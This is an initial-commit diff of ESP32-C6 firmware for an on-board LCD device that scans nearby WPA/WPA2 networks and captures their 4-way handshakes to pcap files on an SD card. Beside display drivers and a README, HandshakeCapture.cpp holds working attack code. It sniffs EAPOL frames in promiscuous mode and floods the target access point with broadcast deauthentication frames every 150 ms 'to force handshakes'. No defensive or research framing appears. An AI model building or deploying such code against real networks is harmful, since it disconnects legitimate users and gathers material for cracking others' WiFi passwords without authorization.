Initial commit: handshake capture firmware for ESP32-C6 1.47" LCD
Made-with: Cursor
This commit is contained in:
180
handshake-capture-c6/Display_ST7789.cpp
Normal file
180
handshake-capture-c6/Display_ST7789.cpp
Normal file
@@ -0,0 +1,180 @@
|
||||
#include "Display_ST7789.h"
|
||||
|
||||
#define SPI_WRITE(_dat) SPI.transfer(_dat)
|
||||
#define SPI_WRITE_Word(_dat) SPI.transfer16(_dat)
|
||||
|
||||
void SPI_Init() {
|
||||
SPI.begin(EXAMPLE_PIN_NUM_SCLK, EXAMPLE_PIN_NUM_MISO, EXAMPLE_PIN_NUM_MOSI);
|
||||
}
|
||||
|
||||
void LCD_WriteCommand(uint8_t Cmd) {
|
||||
SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0));
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, LOW);
|
||||
SPI_WRITE(Cmd);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH);
|
||||
SPI.endTransaction();
|
||||
}
|
||||
|
||||
void LCD_WriteData(uint8_t Data) {
|
||||
SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0));
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, HIGH);
|
||||
SPI_WRITE(Data);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH);
|
||||
SPI.endTransaction();
|
||||
}
|
||||
|
||||
void LCD_WriteData_Word(uint16_t Data) {
|
||||
SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0));
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, HIGH);
|
||||
SPI_WRITE_Word(Data);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH);
|
||||
SPI.endTransaction();
|
||||
}
|
||||
|
||||
void LCD_WriteData_nbyte(uint8_t* SetData, uint8_t* ReadData, uint32_t Size) {
|
||||
SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0));
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, HIGH);
|
||||
SPI.transferBytes(SetData, ReadData, Size);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH);
|
||||
SPI.endTransaction();
|
||||
}
|
||||
|
||||
void LCD_Reset(void) {
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW);
|
||||
delay(50);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_RST, LOW);
|
||||
delay(50);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_RST, HIGH);
|
||||
delay(50);
|
||||
}
|
||||
|
||||
void LCD_Init(void) {
|
||||
pinMode(EXAMPLE_PIN_NUM_LCD_CS, OUTPUT);
|
||||
pinMode(EXAMPLE_PIN_NUM_LCD_DC, OUTPUT);
|
||||
pinMode(EXAMPLE_PIN_NUM_LCD_RST, OUTPUT);
|
||||
Backlight_Init();
|
||||
SPI_Init();
|
||||
LCD_Reset();
|
||||
|
||||
LCD_WriteCommand(0x11);
|
||||
delay(120);
|
||||
LCD_WriteCommand(0x36);
|
||||
LCD_WriteData(HORIZONTAL ? 0x00 : 0x70);
|
||||
LCD_WriteCommand(0x3A);
|
||||
LCD_WriteData(0x05);
|
||||
LCD_WriteCommand(0xB0);
|
||||
LCD_WriteData(0x00);
|
||||
LCD_WriteData(0xE8);
|
||||
LCD_WriteCommand(0xB2);
|
||||
LCD_WriteData(0x0C);
|
||||
LCD_WriteData(0x0C);
|
||||
LCD_WriteData(0x00);
|
||||
LCD_WriteData(0x33);
|
||||
LCD_WriteData(0x33);
|
||||
LCD_WriteCommand(0xB7);
|
||||
LCD_WriteData(0x35);
|
||||
LCD_WriteCommand(0xBB);
|
||||
LCD_WriteData(0x35);
|
||||
LCD_WriteCommand(0xC0);
|
||||
LCD_WriteData(0x2C);
|
||||
LCD_WriteCommand(0xC2);
|
||||
LCD_WriteData(0x01);
|
||||
LCD_WriteCommand(0xC3);
|
||||
LCD_WriteData(0x13);
|
||||
LCD_WriteCommand(0xC4);
|
||||
LCD_WriteData(0x20);
|
||||
LCD_WriteCommand(0xC6);
|
||||
LCD_WriteData(0x0F);
|
||||
LCD_WriteCommand(0xD0);
|
||||
LCD_WriteData(0xA4);
|
||||
LCD_WriteData(0xA1);
|
||||
LCD_WriteCommand(0xD6);
|
||||
LCD_WriteData(0xA1);
|
||||
LCD_WriteCommand(0xE0);
|
||||
LCD_WriteData(0xF0);
|
||||
LCD_WriteData(0x00);
|
||||
LCD_WriteData(0x04);
|
||||
LCD_WriteData(0x04);
|
||||
LCD_WriteData(0x04);
|
||||
LCD_WriteData(0x05);
|
||||
LCD_WriteData(0x29);
|
||||
LCD_WriteData(0x33);
|
||||
LCD_WriteData(0x3E);
|
||||
LCD_WriteData(0x38);
|
||||
LCD_WriteData(0x12);
|
||||
LCD_WriteData(0x12);
|
||||
LCD_WriteData(0x28);
|
||||
LCD_WriteData(0x30);
|
||||
LCD_WriteCommand(0xE1);
|
||||
LCD_WriteData(0xF0);
|
||||
LCD_WriteData(0x07);
|
||||
LCD_WriteData(0x0A);
|
||||
LCD_WriteData(0x0D);
|
||||
LCD_WriteData(0x0B);
|
||||
LCD_WriteData(0x07);
|
||||
LCD_WriteData(0x28);
|
||||
LCD_WriteData(0x33);
|
||||
LCD_WriteData(0x3E);
|
||||
LCD_WriteData(0x36);
|
||||
LCD_WriteData(0x14);
|
||||
LCD_WriteData(0x14);
|
||||
LCD_WriteData(0x29);
|
||||
LCD_WriteData(0x32);
|
||||
LCD_WriteCommand(0x21);
|
||||
LCD_WriteCommand(0x11);
|
||||
delay(120);
|
||||
LCD_WriteCommand(0x29);
|
||||
}
|
||||
|
||||
void LCD_SetCursor(uint16_t Xstart, uint16_t Ystart, uint16_t Xend, uint16_t Yend) {
|
||||
if (HORIZONTAL) {
|
||||
LCD_WriteCommand(0x2A);
|
||||
LCD_WriteData(Xstart >> 8);
|
||||
LCD_WriteData(Xstart + Offset_X);
|
||||
LCD_WriteData(Xend >> 8);
|
||||
LCD_WriteData(Xend + Offset_X);
|
||||
LCD_WriteCommand(0x2B);
|
||||
LCD_WriteData(Ystart >> 8);
|
||||
LCD_WriteData(Ystart + Offset_Y);
|
||||
LCD_WriteData(Yend >> 8);
|
||||
LCD_WriteData(Yend + Offset_Y);
|
||||
} else {
|
||||
LCD_WriteCommand(0x2A);
|
||||
LCD_WriteData(Ystart >> 8);
|
||||
LCD_WriteData(Ystart + Offset_Y);
|
||||
LCD_WriteData(Yend >> 8);
|
||||
LCD_WriteData(Yend + Offset_Y);
|
||||
LCD_WriteCommand(0x2B);
|
||||
LCD_WriteData(Xstart >> 8);
|
||||
LCD_WriteData(Xstart + Offset_X);
|
||||
LCD_WriteData(Xend >> 8);
|
||||
LCD_WriteData(Xend + Offset_X);
|
||||
}
|
||||
LCD_WriteCommand(0x2C);
|
||||
}
|
||||
|
||||
void LCD_addWindow(uint16_t Xstart, uint16_t Ystart, uint16_t Xend, uint16_t Yend, uint16_t* color) {
|
||||
uint16_t Show_Width = Xend - Xstart + 1;
|
||||
uint16_t Show_Height = Yend - Ystart + 1;
|
||||
uint32_t numBytes = Show_Width * Show_Height * sizeof(uint16_t);
|
||||
LCD_SetCursor(Xstart, Ystart, Xend, Yend);
|
||||
LCD_WriteData_nbyte((uint8_t*)color, nullptr, numBytes);
|
||||
}
|
||||
|
||||
void Backlight_Init(void) {
|
||||
uint32_t maxDuty = (1u << Resolution) - 1;
|
||||
ledcAttach(EXAMPLE_PIN_NUM_BK_LIGHT, Frequency, Resolution);
|
||||
ledcWrite(EXAMPLE_PIN_NUM_BK_LIGHT, maxDuty);
|
||||
}
|
||||
|
||||
void Set_Backlight(uint8_t Light) {
|
||||
if (Light <= 100) {
|
||||
uint32_t maxDuty = (1u << Resolution) - 1;
|
||||
uint32_t duty = (maxDuty * Light) / 100;
|
||||
ledcWrite(EXAMPLE_PIN_NUM_BK_LIGHT, duty);
|
||||
}
|
||||
}
|
||||
28
handshake-capture-c6/Display_ST7789.h
Normal file
28
handshake-capture-c6/Display_ST7789.h
Normal file
@@ -0,0 +1,28 @@
|
||||
#pragma once
|
||||
#include <Arduino.h>
|
||||
#include <SPI.h>
|
||||
#define LCD_WIDTH 172
|
||||
#define LCD_HEIGHT 320
|
||||
|
||||
#define SPIFreq 80000000
|
||||
#define EXAMPLE_PIN_NUM_MISO 5
|
||||
#define EXAMPLE_PIN_NUM_MOSI 6
|
||||
#define EXAMPLE_PIN_NUM_SCLK 7
|
||||
#define EXAMPLE_PIN_NUM_LCD_CS 14
|
||||
#define EXAMPLE_PIN_NUM_LCD_DC 15
|
||||
#define EXAMPLE_PIN_NUM_LCD_RST 21
|
||||
#define EXAMPLE_PIN_NUM_BK_LIGHT 22
|
||||
#define Frequency 1000
|
||||
#define Resolution 10
|
||||
|
||||
#define VERTICAL 0
|
||||
#define HORIZONTAL 1
|
||||
|
||||
#define Offset_X 34
|
||||
#define Offset_Y 0
|
||||
|
||||
void LCD_Init(void);
|
||||
void LCD_SetCursor(uint16_t Xstart, uint16_t Ystart, uint16_t Xend, uint16_t Yend);
|
||||
void LCD_addWindow(uint16_t Xstart, uint16_t Ystart, uint16_t Xend, uint16_t Yend, uint16_t* color);
|
||||
void Backlight_Init(void);
|
||||
void Set_Backlight(uint8_t Light);
|
||||
231
handshake-capture-c6/HandshakeCapture.cpp
Normal file
231
handshake-capture-c6/HandshakeCapture.cpp
Normal file
@@ -0,0 +1,231 @@
|
||||
#include "HandshakeCapture.h"
|
||||
#include "SD_Card.h"
|
||||
#include "LVGL_Driver.h"
|
||||
#include <algorithm>
|
||||
|
||||
static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||
static void pcapInit();
|
||||
static void pcapAppend(const uint8_t* frame, size_t len);
|
||||
static void saveHandshakeToSD();
|
||||
|
||||
WifiNetwork networks[20];
|
||||
WifiNetwork target;
|
||||
bool is_capturing = false;
|
||||
bool with_deauth = false;
|
||||
uint8_t eapol_count = 0;
|
||||
bool beacon_captured = false;
|
||||
uint8_t* pcap_buffer = nullptr;
|
||||
size_t pcap_size = 0;
|
||||
int current_target_index = -1;
|
||||
|
||||
const unsigned long DEAUTH_INTERVAL_MS = 150;
|
||||
|
||||
#define CAPTURED_BSSID_CACHE_SIZE 32
|
||||
static uint8_t captured_bssids[CAPTURED_BSSID_CACHE_SIZE][6];
|
||||
static int captured_bssid_count = 0;
|
||||
|
||||
bool wasBssidCaptured(const uint8_t* bssid) {
|
||||
for (int i = 0; i < captured_bssid_count; i++) {
|
||||
if (memcmp(captured_bssids[i], bssid, 6) == 0) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void markBssidCaptured(const uint8_t* bssid) {
|
||||
if (wasBssidCaptured(bssid)) return;
|
||||
if (captured_bssid_count < CAPTURED_BSSID_CACHE_SIZE) {
|
||||
memcpy(captured_bssids[captured_bssid_count], bssid, 6);
|
||||
captured_bssid_count++;
|
||||
} else {
|
||||
memmove(captured_bssids[0], captured_bssids[1], (CAPTURED_BSSID_CACHE_SIZE - 1) * 6);
|
||||
memcpy(captured_bssids[CAPTURED_BSSID_CACHE_SIZE - 1], bssid, 6);
|
||||
}
|
||||
}
|
||||
|
||||
void handshakeCaptureInit() {
|
||||
WiFi.mode(WIFI_STA);
|
||||
WiFi.disconnect(false, true);
|
||||
delay(100);
|
||||
WiFi.mode(WIFI_AP_STA);
|
||||
esp_wifi_set_promiscuous(true);
|
||||
esp_wifi_set_promiscuous_rx_cb(promiscuousRxCallback);
|
||||
}
|
||||
|
||||
bool compareRSSI(const WifiNetwork& a, const WifiNetwork& b) {
|
||||
return a.rssi > b.rssi;
|
||||
}
|
||||
|
||||
bool isCaptureable(int index) {
|
||||
if (index < 0 || index >= 20 || networks[index].ssid.isEmpty()) return false;
|
||||
const String& enc = networks[index].encryption;
|
||||
return enc == "WPA" || enc == "WPA2" || enc == "WPA/WPA2";
|
||||
}
|
||||
|
||||
void scanNetworksSortedByRSSI() {
|
||||
memset(networks, 0, sizeof(networks));
|
||||
int n = WiFi.scanNetworks(false, true);
|
||||
if (n == 0) return;
|
||||
|
||||
int limit = min(n, 20);
|
||||
for (int i = 0; i < limit; i++) {
|
||||
String ssid = WiFi.SSID(i);
|
||||
if (ssid.isEmpty()) networks[i].ssid = "<HIDDEN>";
|
||||
else networks[i].ssid = ssid;
|
||||
memcpy(networks[i].bssid, WiFi.BSSID(i), 6);
|
||||
networks[i].ch = WiFi.channel(i);
|
||||
networks[i].rssi = WiFi.RSSI(i);
|
||||
wifi_auth_mode_t enc = WiFi.encryptionType(i);
|
||||
if (enc == WIFI_AUTH_OPEN) networks[i].encryption = "Open";
|
||||
else if (enc == WIFI_AUTH_WEP) networks[i].encryption = "WEP";
|
||||
else if (enc == WIFI_AUTH_WPA_PSK) networks[i].encryption = "WPA";
|
||||
else if (enc == WIFI_AUTH_WPA2_PSK) networks[i].encryption = "WPA2";
|
||||
else if (enc == WIFI_AUTH_WPA_WPA2_PSK) networks[i].encryption = "WPA/WPA2";
|
||||
else if (enc == WIFI_AUTH_WPA2_ENTERPRISE) networks[i].encryption = "WPA2 Enterprise";
|
||||
else networks[i].encryption = "Unknown";
|
||||
networks[i].handshake_captured = wasBssidCaptured(networks[i].bssid);
|
||||
}
|
||||
std::sort(networks, networks + limit, compareRSSI);
|
||||
}
|
||||
|
||||
void setTarget(int index) {
|
||||
if (index >= 0 && index < 20 && !networks[index].ssid.isEmpty()) {
|
||||
target = networks[index];
|
||||
current_target_index = index;
|
||||
}
|
||||
}
|
||||
|
||||
int getCurrentTargetIndex() {
|
||||
return current_target_index;
|
||||
}
|
||||
|
||||
bool isHandshakeCaptured(int index) {
|
||||
return index >= 0 && index < 20 && networks[index].handshake_captured;
|
||||
}
|
||||
|
||||
void markHandshakeCaptured(int index) {
|
||||
if (index >= 0 && index < 20) {
|
||||
networks[index].handshake_captured = true;
|
||||
markBssidCaptured(networks[index].bssid);
|
||||
Ui_SetNetworkColor(index, lv_palette_main(LV_PALETTE_RED));
|
||||
}
|
||||
}
|
||||
|
||||
void startCapture(bool deauth) {
|
||||
if (target.ssid.isEmpty() || is_capturing) return;
|
||||
pcapInit();
|
||||
beacon_captured = false;
|
||||
eapol_count = 0;
|
||||
with_deauth = deauth;
|
||||
is_capturing = true;
|
||||
esp_wifi_set_channel(target.ch, WIFI_SECOND_CHAN_NONE);
|
||||
}
|
||||
|
||||
void stopCapture() {
|
||||
if (!is_capturing) return;
|
||||
if (pcap_size > 0) {
|
||||
saveHandshakeToSD();
|
||||
}
|
||||
is_capturing = false;
|
||||
with_deauth = false;
|
||||
}
|
||||
|
||||
static void saveHandshakeToSD() {
|
||||
String timestamp = String(millis() / 1000);
|
||||
String filename = "/handshake_" + target.ssid + "_" + timestamp + ".pcap";
|
||||
filename.replace(" ", "_");
|
||||
|
||||
File file = SD.open(filename, FILE_WRITE);
|
||||
if (!file) {
|
||||
Serial.println("SD write failed");
|
||||
return;
|
||||
}
|
||||
if (file.write(pcap_buffer, pcap_size) == pcap_size) {
|
||||
Serial.printf("Saved %s (%d bytes)\n", filename.c_str(), (int)pcap_size);
|
||||
markHandshakeCaptured(current_target_index);
|
||||
}
|
||||
file.close();
|
||||
free(pcap_buffer);
|
||||
pcap_buffer = nullptr;
|
||||
pcap_size = 0;
|
||||
}
|
||||
|
||||
static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
|
||||
if (!is_capturing) return;
|
||||
wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf;
|
||||
uint8_t* payload = pkt->payload;
|
||||
uint16_t len = pkt->rx_ctrl.sig_len;
|
||||
if (len < 36) return;
|
||||
|
||||
uint8_t frame_type = payload[0];
|
||||
bool is_beacon = frame_type == 0x80;
|
||||
|
||||
if (is_beacon && !beacon_captured && memcmp(&payload[10], target.bssid, 6) == 0) {
|
||||
beacon_captured = true;
|
||||
pcapAppend(payload, len);
|
||||
return;
|
||||
}
|
||||
|
||||
if ((frame_type == 0x08 || frame_type == 0x88) &&
|
||||
(memcmp(&payload[10], target.bssid, 6) == 0 || memcmp(&payload[4], target.bssid, 6) == 0)) {
|
||||
uint16_t ethertype = (payload[32] << 8) | payload[33];
|
||||
if (ethertype == 0x888E) {
|
||||
eapol_count++;
|
||||
pcapAppend(payload, len);
|
||||
if (eapol_count >= 4) {
|
||||
stopCapture();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void pcapInit() {
|
||||
free(pcap_buffer);
|
||||
pcap_size = sizeof(pcap_global_header_t);
|
||||
pcap_buffer = (uint8_t*)malloc(pcap_size);
|
||||
pcap_global_header_t header = {
|
||||
.magic_number = 0xa1b2c3d4,
|
||||
.version_major = 2,
|
||||
.version_minor = 4,
|
||||
.thiszone = 0,
|
||||
.sigfigs = 0,
|
||||
.snaplen = 65535,
|
||||
.network = 105
|
||||
};
|
||||
memcpy(pcap_buffer, &header, sizeof(header));
|
||||
}
|
||||
|
||||
static void pcapAppend(const uint8_t* frame, size_t len) {
|
||||
if (!frame || len == 0) return;
|
||||
pcap_record_header_t rec = {
|
||||
.ts_sec = millis() / 1000,
|
||||
.ts_usec = (millis() % 1000) * 1000,
|
||||
.incl_len = len,
|
||||
.orig_len = len
|
||||
};
|
||||
uint8_t* new_buf = (uint8_t*)realloc(pcap_buffer, pcap_size + sizeof(rec) + len);
|
||||
if (!new_buf) return;
|
||||
memcpy(new_buf + pcap_size, &rec, sizeof(rec));
|
||||
memcpy(new_buf + pcap_size + sizeof(rec), frame, len);
|
||||
pcap_buffer = new_buf;
|
||||
pcap_size += sizeof(rec) + len;
|
||||
}
|
||||
|
||||
void sendDeauth() {
|
||||
if (!is_capturing || !with_deauth) return;
|
||||
uint8_t deauth_packet[26] = {
|
||||
0xC0, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x01, 0x00
|
||||
};
|
||||
memcpy(&deauth_packet[10], target.bssid, 6);
|
||||
memcpy(&deauth_packet[16], target.bssid, 6);
|
||||
esp_wifi_80211_tx(WIFI_IF_STA, deauth_packet, sizeof(deauth_packet), false);
|
||||
}
|
||||
|
||||
void handshakeCaptureLoop() {
|
||||
static unsigned long last_deauth = 0;
|
||||
if (is_capturing && with_deauth && millis() - last_deauth > DEAUTH_INTERVAL_MS) {
|
||||
sendDeauth();
|
||||
last_deauth = millis();
|
||||
}
|
||||
}
|
||||
49
handshake-capture-c6/HandshakeCapture.h
Normal file
49
handshake-capture-c6/HandshakeCapture.h
Normal file
@@ -0,0 +1,49 @@
|
||||
#pragma once
|
||||
|
||||
#include <Arduino.h>
|
||||
#include <WiFi.h>
|
||||
#include "esp_wifi.h"
|
||||
#include <SD.h>
|
||||
|
||||
typedef struct {
|
||||
uint32_t magic_number;
|
||||
uint16_t version_major;
|
||||
uint16_t version_minor;
|
||||
int32_t thiszone;
|
||||
uint32_t sigfigs;
|
||||
uint32_t snaplen;
|
||||
uint32_t network;
|
||||
} __attribute__((packed)) pcap_global_header_t;
|
||||
|
||||
typedef struct {
|
||||
uint32_t ts_sec;
|
||||
uint32_t ts_usec;
|
||||
uint32_t incl_len;
|
||||
uint32_t orig_len;
|
||||
} __attribute__((packed)) pcap_record_header_t;
|
||||
|
||||
typedef struct {
|
||||
String ssid;
|
||||
uint8_t bssid[6];
|
||||
int ch;
|
||||
int rssi;
|
||||
String encryption;
|
||||
bool handshake_captured;
|
||||
} WifiNetwork;
|
||||
|
||||
extern WifiNetwork networks[20];
|
||||
extern WifiNetwork target;
|
||||
extern bool is_capturing;
|
||||
extern bool with_deauth;
|
||||
|
||||
void handshakeCaptureInit();
|
||||
bool wasBssidCaptured(const uint8_t* bssid);
|
||||
void markBssidCaptured(const uint8_t* bssid);
|
||||
void scanNetworksSortedByRSSI();
|
||||
void startCapture(bool deauth);
|
||||
void stopCapture();
|
||||
void setTarget(int index);
|
||||
int getCurrentTargetIndex();
|
||||
bool isHandshakeCaptured(int index);
|
||||
bool isCaptureable(int index);
|
||||
void handshakeCaptureLoop();
|
||||
138
handshake-capture-c6/LVGL_Driver.cpp
Normal file
138
handshake-capture-c6/LVGL_Driver.cpp
Normal file
@@ -0,0 +1,138 @@
|
||||
#include "LVGL_Driver.h"
|
||||
|
||||
static lv_disp_draw_buf_t draw_buf;
|
||||
static lv_color_t buf1[LVGL_BUF_LEN];
|
||||
static lv_color_t buf2[LVGL_BUF_LEN];
|
||||
static lv_obj_t *status_label = nullptr;
|
||||
static lv_obj_t *list_label = nullptr;
|
||||
static lv_obj_t *network_container = nullptr;
|
||||
static lv_obj_t *network_labels[20] = {nullptr};
|
||||
static int network_count = 0;
|
||||
|
||||
void Ui_SetWifiStatus(const char *text) {
|
||||
if (status_label != nullptr) {
|
||||
lv_label_set_text(status_label, text);
|
||||
}
|
||||
}
|
||||
|
||||
void Ui_ClearNetworkList(void) {
|
||||
if (network_container == nullptr) return;
|
||||
for (int i = 0; i < network_count; i++) {
|
||||
if (network_labels[i] != nullptr) {
|
||||
lv_obj_del(network_labels[i]);
|
||||
network_labels[i] = nullptr;
|
||||
}
|
||||
}
|
||||
network_count = 0;
|
||||
}
|
||||
|
||||
void Ui_AddNetwork(const char* text, int index) {
|
||||
if (network_container == nullptr || index < 0 || index >= 20) return;
|
||||
if (network_labels[index] != nullptr) {
|
||||
lv_label_set_text(network_labels[index], text);
|
||||
return;
|
||||
}
|
||||
lv_obj_t* label = lv_label_create(network_container);
|
||||
lv_label_set_text(label, text);
|
||||
lv_obj_set_style_text_color(label, lv_palette_main(LV_PALETTE_GREEN), 0);
|
||||
lv_obj_set_style_text_font(label, &lv_font_montserrat_12, 0);
|
||||
lv_obj_set_width(label, lv_pct(100));
|
||||
network_labels[index] = label;
|
||||
if (index >= network_count) network_count = index + 1;
|
||||
}
|
||||
|
||||
void Ui_SetNetworkColor(int index, lv_color_t color) {
|
||||
if (index < 0 || index >= 20 || network_labels[index] == nullptr) return;
|
||||
lv_obj_set_style_text_color(network_labels[index], color, 0);
|
||||
}
|
||||
|
||||
void Ui_SetNetworkText(int index, const char* text) {
|
||||
if (index < 0 || index >= 20 || network_labels[index] == nullptr) return;
|
||||
lv_label_set_text(network_labels[index], text);
|
||||
}
|
||||
|
||||
void Lvgl_Display_LCD(lv_disp_drv_t *disp_drv, const lv_area_t *area, lv_color_t *color_p) {
|
||||
LCD_addWindow(area->x1, area->y1, area->x2, area->y2, (uint16_t*)&color_p->full);
|
||||
lv_disp_flush_ready(disp_drv);
|
||||
}
|
||||
|
||||
void Lvgl_Touchpad_Read(lv_indev_drv_t *indev_drv, lv_indev_data_t *data) {
|
||||
(void)indev_drv;
|
||||
(void)data;
|
||||
}
|
||||
|
||||
void example_increase_lvgl_tick(void *arg) {
|
||||
(void)arg;
|
||||
lv_tick_inc(EXAMPLE_LVGL_TICK_PERIOD_MS);
|
||||
}
|
||||
|
||||
void Lvgl_Init(void) {
|
||||
lv_init();
|
||||
lv_disp_draw_buf_init(&draw_buf, buf1, buf2, LVGL_BUF_LEN);
|
||||
|
||||
static lv_disp_drv_t disp_drv;
|
||||
lv_disp_drv_init(&disp_drv);
|
||||
disp_drv.hor_res = LVGL_WIDTH;
|
||||
disp_drv.ver_res = LVGL_HEIGHT;
|
||||
disp_drv.flush_cb = Lvgl_Display_LCD;
|
||||
disp_drv.full_refresh = 0;
|
||||
disp_drv.draw_buf = &draw_buf;
|
||||
lv_disp_drv_register(&disp_drv);
|
||||
|
||||
static lv_indev_drv_t indev_drv;
|
||||
lv_indev_drv_init(&indev_drv);
|
||||
indev_drv.type = LV_INDEV_TYPE_POINTER;
|
||||
indev_drv.read_cb = Lvgl_Touchpad_Read;
|
||||
lv_indev_drv_register(&indev_drv);
|
||||
|
||||
lv_obj_set_style_bg_color(lv_scr_act(), lv_color_black(), 0);
|
||||
lv_obj_set_style_bg_opa(lv_scr_act(), LV_OPA_COVER, 0);
|
||||
|
||||
lv_obj_t *title = lv_label_create(lv_scr_act());
|
||||
lv_obj_set_style_text_color(title, lv_palette_main(LV_PALETTE_GREEN), 0);
|
||||
lv_obj_set_style_text_font(title, &lv_font_montserrat_16, 0);
|
||||
lv_label_set_text(title, "WiFi Networks");
|
||||
lv_obj_align(title, LV_ALIGN_TOP_LEFT, 10, 8);
|
||||
|
||||
status_label = lv_label_create(lv_scr_act());
|
||||
lv_obj_set_style_text_color(status_label, lv_palette_lighten(LV_PALETTE_GREEN, 2), 0);
|
||||
lv_obj_set_style_text_font(status_label, &lv_font_montserrat_12, 0);
|
||||
lv_label_set_text(status_label, "Starting...");
|
||||
lv_obj_align(status_label, LV_ALIGN_TOP_LEFT, 10, 30);
|
||||
|
||||
lv_obj_t *list_panel = lv_obj_create(lv_scr_act());
|
||||
lv_obj_set_size(list_panel, 164, 260);
|
||||
lv_obj_align(list_panel, LV_ALIGN_TOP_LEFT, 4, 52);
|
||||
lv_obj_set_style_bg_color(list_panel, lv_color_black(), 0);
|
||||
lv_obj_set_style_bg_opa(list_panel, LV_OPA_TRANSP, 0);
|
||||
lv_obj_set_style_border_width(list_panel, 1, 0);
|
||||
lv_obj_set_style_border_color(list_panel, lv_palette_darken(LV_PALETTE_GREEN, 2), 0);
|
||||
lv_obj_set_style_pad_all(list_panel, 6, 0);
|
||||
lv_obj_set_scrollbar_mode(list_panel, LV_SCROLLBAR_MODE_OFF);
|
||||
|
||||
network_container = lv_obj_create(list_panel);
|
||||
lv_obj_set_size(network_container, lv_pct(100), lv_pct(100));
|
||||
lv_obj_set_flex_flow(network_container, LV_FLEX_FLOW_COLUMN);
|
||||
lv_obj_set_flex_align(network_container, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_START);
|
||||
lv_obj_clear_flag(network_container, LV_OBJ_FLAG_SCROLLABLE);
|
||||
lv_obj_set_style_pad_all(network_container, 0, 0);
|
||||
lv_obj_set_style_border_width(network_container, 0, 0);
|
||||
lv_obj_set_style_bg_opa(network_container, LV_OPA_TRANSP, 0);
|
||||
|
||||
list_label = lv_label_create(list_panel);
|
||||
lv_obj_set_width(list_label, lv_pct(100));
|
||||
lv_label_set_text(list_label, "");
|
||||
lv_obj_add_flag(list_label, LV_OBJ_FLAG_HIDDEN);
|
||||
|
||||
const esp_timer_create_args_t lvgl_tick_timer_args = {
|
||||
.callback = &example_increase_lvgl_tick,
|
||||
.name = "lvgl_tick"
|
||||
};
|
||||
esp_timer_handle_t lvgl_tick_timer = NULL;
|
||||
esp_timer_create(&lvgl_tick_timer_args, &lvgl_tick_timer);
|
||||
esp_timer_start_periodic(lvgl_tick_timer, EXAMPLE_LVGL_TICK_PERIOD_MS * 1000);
|
||||
}
|
||||
|
||||
void Timer_Loop(void) {
|
||||
lv_timer_handler();
|
||||
}
|
||||
17
handshake-capture-c6/LVGL_Driver.h
Normal file
17
handshake-capture-c6/LVGL_Driver.h
Normal file
@@ -0,0 +1,17 @@
|
||||
#pragma once
|
||||
|
||||
#include <lvgl.h>
|
||||
#include "Display_ST7789.h"
|
||||
|
||||
#define LVGL_WIDTH (LCD_WIDTH)
|
||||
#define LVGL_HEIGHT LCD_HEIGHT
|
||||
#define LVGL_BUF_LEN (LVGL_WIDTH * LVGL_HEIGHT / 20)
|
||||
#define EXAMPLE_LVGL_TICK_PERIOD_MS 5
|
||||
|
||||
void Lvgl_Init(void);
|
||||
void Timer_Loop(void);
|
||||
void Ui_SetWifiStatus(const char *text);
|
||||
void Ui_ClearNetworkList(void);
|
||||
void Ui_AddNetwork(const char* text, int index);
|
||||
void Ui_SetNetworkColor(int index, lv_color_t color);
|
||||
void Ui_SetNetworkText(int index, const char* text);
|
||||
47
handshake-capture-c6/README.md
Normal file
47
handshake-capture-c6/README.md
Normal file
@@ -0,0 +1,47 @@
|
||||
# Handshake Capture - ESP32-C6 1.47" LCD
|
||||
|
||||
Automatic WiFi 4-way handshake capture for Waveshare ESP32-C6-LCD-1.47.
|
||||
|
||||
## Features
|
||||
|
||||
- **SD card storage**: Saves `.pcap` files to TF card (not SPIFFS)
|
||||
- **Auto-deauth**: Aggressive 150ms deauth interval to force handshakes
|
||||
- **Display**: Networks in **green** = not captured, **red** = captured
|
||||
- **No web interface**: Capture-only device
|
||||
- **WPA/WPA2 only**: Skips Open/WEP networks
|
||||
- **BSSID cache**: Captured networks stay red across rescans
|
||||
|
||||
## Hardware
|
||||
|
||||
- Waveshare ESP32-C6-LCD-1.47 (non-touch, ST7789)
|
||||
- TF card in onboard slot
|
||||
|
||||
## Build & Flash
|
||||
|
||||
Requires LVGL and lv_conf from the ESP32-C6-LCD-1.47-Demo:
|
||||
|
||||
```bash
|
||||
cd "/path/to/4 way handshake"
|
||||
arduino-cli compile \
|
||||
-b 'esp32:esp32:esp32c6:PartitionScheme=huge_app' \
|
||||
--build-path /tmp/arduino-build-handshake-c6 \
|
||||
--libraries "ESP32-C6-LCD-1.47-Demo/Arduino/libraries" \
|
||||
handshake-capture-c6
|
||||
```
|
||||
|
||||
```bash
|
||||
arduino-cli upload \
|
||||
-p /dev/cu.usbmodem* \
|
||||
